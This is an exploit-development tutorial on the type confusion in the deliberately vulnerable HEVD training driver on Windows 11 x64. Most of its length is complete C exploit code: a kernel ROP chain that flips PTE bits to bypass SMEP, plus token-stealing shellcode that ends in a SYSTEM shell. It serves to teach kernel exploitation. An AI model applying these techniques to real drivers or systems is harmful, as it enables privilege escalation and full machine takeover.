0x06 - Approaching Modern Windows Kernel Type Confusions
In the last tutorial we exploited a Type Confusion within the Windows 7 (x86) Kernel. Having obtained a solid foundation on approaching this vulnerability, we can now proceed to attempt exploitation on Windows 11 (x64).
Table of Contents
Reverse Engineering
Let’s take a look at the vulnerable handler and respective structures.
We cannot ignore that we have a lot of background information (not to mention symbols). The only real difference we need to account for is the fact that the allocation will be 16 (0x10) bytes. This is because of the size of an unsigned long in an x64 environment.
That said, we can begin writing the proof of concept.
Writing the Exploit
Below is a PoC we can begin working with:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define TYPE_CONFUSION 0x222023
/* Structure used by Type Confusion */
typedef struct _USER_TYPE_CONFUSION_OBJECT {
uint64_t ObjectId;
uint64_t ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
/* GetKernelModuleBase():
Function used to obtain kernel module address */
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024] = { 0 };
LPVOID lpvTargetDriver = NULL;
LPVOID *lpvDrivers = NULL;
DWORD dwCB = 0;
DWORD dwDrivers = 0;
DWORD i = 0;
EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
return NULL;
lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
return NULL;
if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
{
dwDrivers = dwCB / sizeof(LPVOID);
for (i = 0; i < dwDrivers; i++)
if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
if (StrStrA(pcDriver, pKernelModule) != NULL)
lpvTargetDriver = lpvDrivers[i];
}
free(lpvDrivers);
return lpvTargetDriver;
}
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* Exploit():
Type Confusion */
int Exploit(HANDLE hHEVD)
{
DWORD dwBytesReturned = 0;
LPVOID lpvNtKrnl = NULL;
LPVOID lpvAllocation = NULL;
USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
lpvNtKrnl = GetKernelModuleBase("ntoskrnl");
if (lpvNtKrnl == NULL)
{
printf("[-] Failed to obtain the base address of nt\n");
return -1;
}
printf("[*] Obtained the base address of nt: 0x%p\n", lpvNtKrnl);
lpvAllocation = VirtualAlloc(NULL,
0x1000,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
if (lpvAllocation == NULL)
{
printf("[*] Failed to allocate memory\n");
return -1;
}
memset(lpvAllocation, 'C', 0x1000);
UserTypeConfusionObject.ObjectId = 0x4141414141414141;
UserTypeConfusionObject.ObjectType = 0x4242424242424242;
printf("[*] Triggering Type Confusion\n");
DeviceIoControl(hHEVD,
TYPE_CONFUSION,
&UserTypeConfusionObject,
sizeof(UserTypeConfusionObject),
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[+] Exploitation successful, enjoy the shell!!\n\n");
system("cmd.exe");
} else {
printf("[*] Exploitation failed, run again\n");
}
if (hHEVD != NULL)
CloseHandle(hHEVD);
return 0;
}
Plan of Attack
Once ran, we can see we will have successfully gotten control over execution flow.
We can see that the RBX register points to our object / structure. My thought here is we can perform a stack pivot into an allocation we control from userland (e.g VirtualAlloc).
The Start of Suffering
Let’s look for gadgets, we’ll be using our favorite tool rp++, by 0vercl0k.
C:\>rp-win.exe --rop=20 --va=0 --file C:\Windows\System32\ntoskrnl.exe > rop.txt
Being that this is a large file, let’s move it over to Linux. If you plan to parse the output using grep, you’re going to need to convert this file to ASCII.
$ file rop.txt
rop.txt: Unicode text, UTF-16, little-endian text, with very long lines (388), with CRLF line terminators
$ iconv -f utf-16 -t us-ascii//TRANSLIT rop.txt > rop_ascii.txt
At this point I was utterly confused since things were not going as planned. I checked out VulnDevs blog to see what he would have done and he used a fairly intresting gadget.
QWORD STACK_PIVOT_GADGET = ntBase + 0x317f70; // mov esp, 0x48000000; add esp, 0x28; ret;
I had never seen a gadget like this nor, did I know this was even possible… there’s a few things we have to keep in mind when using a gadget like this.
- The address needs to be aligned (address % 16 == 0)
- We must give leeway room for the kernel to read/write to this area in memory (target_address - 0x1000)
- We must lock the memory region using VirtualLock
The following code does just that.
/* We're going to be allocating memory at 0xF6C875C0-0x1000, we must do this to give
the kernel room to read/write to this memory region */
lpvAllocTarget = (LPVOID)0xF6C875C0;
lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),
0x5000,
(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE);
if (lpvAllocation == NULL)
{
printf("[*] Failed to allocate memory\n");
return -1;
}
/* We lock the allocated memory region into RAM to avoid a page fault */
if (VirtualLock(lpvAllocation, 0x5000) == FALSE)
{
printf("[*] Failed to lock virtual address space\n");
return -1;
}
printf("[*] Successfully locked 0x%p\n", lpvAllocation);
RtlFillMemory((LPVOID)lpvAllocTarget, 0x4000, 'A');
...
UserTypeConfusionObject.ObjectType = (uint64_t)lpvNtKrnl + 0x32e4fe; // mov esp, 0xF6C875C0 ; ret
Once sent, we DON’T have a successful pivot…
If we analyze this we get a double fault…
At this point a month passed and I was getting nowhere… I mean nowhere… until I came across a blog by wafzsucks and ultimately it came down to breakpoints breaking the exploit.
Once I removed my breakpoint everything worked?
Thoery
Although I had a working exploit at this point I wanted to understand why - so I decide to walk though wafzsucks blog :)
What follows in this section are mostly the notes of wafzsucks I wanna make sure I make that clear. However since writing notes is the way I learn I decided to write my understanding as I go.
General Memory Operations
Based on information from Wikipedia the kernel has full access to the the systems memory. It’s responsible for allowing processes to access memory as it’s required. This is done via virtual addressing (via paging and/or segmentation).
According to Wikipedia when using this scheme (paging) the OS gets information in blocks called pages. For example in Windows a page is 4KB (4006 or 0x1000 bytes).
What virtual addressing is doing is allowing the kernel to make a given physical address appear to be another address, the virtual address.
wafzsucks put it perfectly, this is why when a game is loaded, the fans kick off and a bunch of memory is used before the game even starts. This is because the memory is allocated and obtained while the game is loaded into said memory.
With the use of VirtualAlloc() in Windows and mmap() in Linux, we can actually map a range of virtual memory at a defined address. This is why this solution is a solid approach to stack pivoting.
Virtual Memory
The image below is taken from wafzsucks blog.
We can see in the image above that a virtaul address is mapped to multiple regions in physical memory. In short the OS manages virtual address spaces and the assignment of real memory. Address translation hardware in the CPU, often referred to as a memory management unit (MMU), automatically translates virtual addresses to physical addresses.
As stated by Wikipedia, the benefits of virtual memory include:
- Applications don’t have to manage shared memory space
- Ability to share memory used by libraries between processes
- Increased security due to memory isolation
And conceptually being able to use more memory than might be physically availible, using the technique of paging or segmentation.
Paged Memory Summary
When we hear the words Paged memory
we’re refering to a technique where the OS divides a program’s or system’s memory into fixed blocks called pages (as we know). Below are some key concepts to keep in mind with paged memory:
- Page Table
- Operating systems maintain a data structure known as a page table. This table keeps track of the mapping between virtaul memory addresses used by a program and the physical memory address location where the actaul data is stored.
- Virtual Memory
- As prevously mentioned this is how programs interact with physical memory without directly touching it. Basically translating virtual addresses to physical addresses.
- Page Faults
- When a program access a virtual memory page that is not currently in physical memory, a page fault occurs. From here control is transferred from the program to the operating system.
- Demand Paging
- Most operating systems use demang paging, which is where pages are only loaded into memory when needed. This is to conserve physical memory by loading ONLY pages that are actively being used.
- Page Replacement
- If physical memory is full, the operating system may need to choose which paged to remove from memory to make space for new pages.
- Page Size
- The size of each page is a crucial factor in the efficiency of memory management. A smaller page size can lead to more fine-grained memory management but may also result in increased overhead due to a larger page table. A larger page size might reduce the table size, but may result in more data being loaded into memory even if only a small portion is needed.
Testing Theory
Let’s revisit our code example and run it.
lpvAllocTarget = (LPVOID)0xF6C875C0;
lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),
0x10000,
(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE);
if (lpvAllocation == NULL)
{
printf("[*] Failed to allocate memory\n");
return -1;
}
UserTypeConfusionObject.ObjectId = (uint64_t)lpvAllocation;
UserTypeConfusionObject.ObjectType = (uint64_t)lpvNtKrnl + 0x32e4fe; // mov esp, 0xF6C875C0 ; ret
printf("[*] Triggering Type Confusion\n");
DeviceIoControl(hHEVD,
TYPE_CONFUSION,
&UserTypeConfusionObject,
sizeof(UserTypeConfusionObject),
NULL,
0x00,
&dwBytesReturned,
NULL);
If we check the PTE of the new stack address we’ll see this is NOT a valid page entry.
Meaning that the control will be given to the kernel and we crash!
This is due to the aforemention Demand Paging. To make this a valid page, we can try writing to the prevous page to avoid the Page Fault since it will then be in use! Let’s try it!
lpvAllocTarget = (LPVOID)0xF6C875C0;
lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),
0x10000,
(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE);
if (lpvAllocation == NULL)
{
printf("[*] Failed to allocate memory\n");
return -1;
}
printf("[*] Successfully created allocation: 0x%p\n", lpvAllocation);
printf("[*] Writing random buffer to prevous page\n");
RtlFillMemory((lpvAllocTarget-0x1000), 0x1000, 'A');
This time when we hit the breakpoint we can see that the page is valid :)
However we still get a crash? This is where VirtualLock
comes into play.
However, I still got a crash! Based on the information from Kristal-G’s blog it looks like this address it too high. This is also shown by the actual error above - with that I decided to change my stack pivot gadget.
Exploitation
After crying for a while I managed to get together a reliable exploit as shown below:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <shlwapi.h>
#define TYPE_CONFUSION 0x222023
/* Structure used by Type Confusion */
typedef struct _USER_TYPE_CONFUSION_OBJECT {
uint64_t ObjectId;
uint64_t ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
/* GetKernelModuleBase():
Function used to obtain kernel module address */
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024] = { 0 };
LPVOID lpvTargetDriver = NULL;
LPVOID *lpvDrivers = NULL;
DWORD dwCB = 0;
DWORD dwDrivers = 0;
DWORD i = 0;
EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
return NULL;
lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
return NULL;
if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
{
dwDrivers = dwCB / sizeof(LPVOID);
for (i = 0; i < dwDrivers; i++)
if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
if (StrStrA(pcDriver, pKernelModule) != NULL)
lpvTargetDriver = lpvDrivers[i];
}
free(lpvDrivers);
return lpvTargetDriver;
}
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
void WriteGadgets(LPVOID lpvNt, LPVOID lpvBuffer)
{
uint64_t *rop = (uint64_t *)(lpvBuffer);
uint64_t nt = (uint64_t)(lpvNt);
uint8_t sc[129] = {
// sickle-tool -p windows/x64/kernel_token_stealer -f num (58 bytes)
0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x80,
0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xb2, 0x04, 0x48, 0x8b, 0x80, 0x48, 0x04,
0x00, 0x00, 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, 0x38, 0x90, 0x40, 0x04, 0x00, 0x00,
0x75, 0xeb, 0x48, 0x8b, 0x90, 0xb8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x91, 0xb8, 0x04,
0x00, 0x00,
// sickle-tool -p windows/x64/kernel_sysret -f num (71)
0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x8b, 0x88,
0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00,
0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00,
0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00,
0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f,
0x07 };
LPVOID shellcode = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode, sc, 129);
/* Prepare RDX register for later. This is needed for the XOR operation */
*rop++ = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret
*rop++ = 0x000008; // Set RDX to 0x08, we will need this to accomplish the XOR
*rop++ = 0x000000; // [filler]
*rop++ = 0x000000; // [filler]
/* Setup the call to MiGetPteAddress in order to get the address of the PTE for our
userland code. The setup is as follows:
RAX -> VOID *MiGetPteAddress(
( RCX == PTE / Userland Code )
);
Once the call is complete RAX should contain the pointer to our PTE. */
*rop++ = nt + 0x57699c; // pop rcx ; ret
*rop++ = (uint64_t)shellcode; // *shellcode
*rop++ = nt + 0x24aaec; // MiGetPteAddress()
/* Now that we have obtained the PTE address, we can modify the 2nd bit in order to
mark the page as a kernel page (U -> K). We can do this using XOR ;) */
*rop++ = nt + 0x30fcf3; // sub rax, rdx ; ret
*rop++ = nt + 0x54f344; // push rax ; pop rbx ; ret
*rop++ = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret
*rop++ = 0x000004; // 0x40ed4e: pop rdx ; pop rax ; pop rcx ; ret ; (1 found)
*rop++ = 0x000000; // [filler]
*rop++ = 0x000000; // [filler]
*rop++ = nt + 0x3788b6; // xor [rbx+0x08], edx ; mov rbx, qword [rsp+0x60] ; add rsp, 0x40 ; pop r14 ; pop rdi ; pop rbp ; ret
/* Now we cam spray our shellcode address since SMEP and VPS should be bypassed */
for (int i = 0; i < 0xC; i++) {
*rop++ = (uint64_t)shellcode;
}
}
/* Exploit():
Type Confusion */
int Exploit(HANDLE hHEVD)
{
uint64_t *rop = NULL;
BOOL bBlocked;
DWORD dwBytesReturned = 0;
LPVOID lpvNtKrnl = NULL;
LPVOID lpvAllocation = NULL;
LPVOID lpvAllocTarget = NULL;
USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
lpvNtKrnl = GetKernelModuleBase("ntoskrnl");
if (lpvNtKrnl == NULL)
{
printf("[-] Failed to obtain the base address of nt\n");
return -1;
}
printf("[*] Obtained the base address of nt: 0x%p\n", lpvNtKrnl);
/* Allocate memory one page before the target memory region. This helps prevent
the Double Fault; Logic here is avoid not triggering "Demand Paging". */
lpvAllocTarget = (LPVOID)0x48000000;
printf("[*] Allocation to be made at 0x%p - PAGE_SIZE\n", lpvAllocTarget);
lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),
0x10000,
(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE);
if (lpvAllocation == NULL)
{
printf("[*] Failed to allocate memory\n");
return -1;
}
printf("[*] Successfully created allocation: 0x%p\n", lpvAllocation);
/* Trigger the Type Confusion by overwriting the function pointer */
UserTypeConfusionObject.ObjectId = 0x4242424242424242;
UserTypeConfusionObject.ObjectType = (uint64_t)lpvNtKrnl + 0x28d700; // mov esp, 0x48000000 ; add esp, 0x28 ; ret
/* Let the Kernel breathe... this is needed to avoid a crash, my thoery is
if we don't do this the allocation will not be mapped properly. So what
we need to do is sleep for a few seconds to allow this to happen! First
time trying this I was under the impression VirtualLock was needed, but
when testing it never locked? So after debugging I found this to be the
solution. This exploit succeded 9/10 times vs the original 2/10 ;D */
printf("[*] Letting the kernel breathe");
for (int i = 0; i < 4; i++) {
putchar('.');
Sleep(1000);
}
putchar('\n');
/* Fill the page before the target region with random data */
RtlFillMemory(lpvAllocation, 0x1000, 'A');
/* Write the gadget chain at the location we return */
WriteGadgets(lpvNtKrnl, (lpvAllocTarget + 0x28));
printf("[*] Triggering Type Confusion\n");
DeviceIoControl(hHEVD,
TYPE_CONFUSION,
&UserTypeConfusionObject,
sizeof(UserTypeConfusionObject),
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[+] Exploitation successful, enjoy the shell!!\n\n");
system("cmd.exe");
} else {
printf("[*] Exploitation failed, run again\n");
}
if (hHEVD != NULL)
CloseHandle(hHEVD);
return 0;
}
If you followed along, we had a valid page? So why did we need VirtualLock?
Well… we didn’t! The exploit shown above did not use the VirtualLock function at all. When debugging we saw that the page was valid… in addition VirtualLock never succeeded… I would keep getting the error code ERROR_NOACCESS (0x3E6) meaning the page never “locked”.
If you check the documentation on MSDN you’ll see that two calls are needed sometimes, due to the way this function works. Does it need higher privileges? Not sure but I removed it to test if it was doing anything, and to my suprise it wasn’t.
In addition I found exploitation to be really unreliable. In order to make it work 90% of the time (If not 100%), what needed to be done?
You guessed it! A call to Sleep()
:P
My thoery is that the allocation needed time to “register”. Regardless exploitation demo shown below!
Sources
https://wafzsucks.medium.com/how-a-simple-k-typeconfusion-took-me-3-months-long-to-create-a-exploit-f643c94d445f
https://kristal-g.github.io/2021/02/20/HEVD_Type_Confusion_Windows_10_RS5_x64.html
https://kristal-g.github.io/2021/02/07/HEVD_StackOverflowGS_Windows_10_RS5_x64.html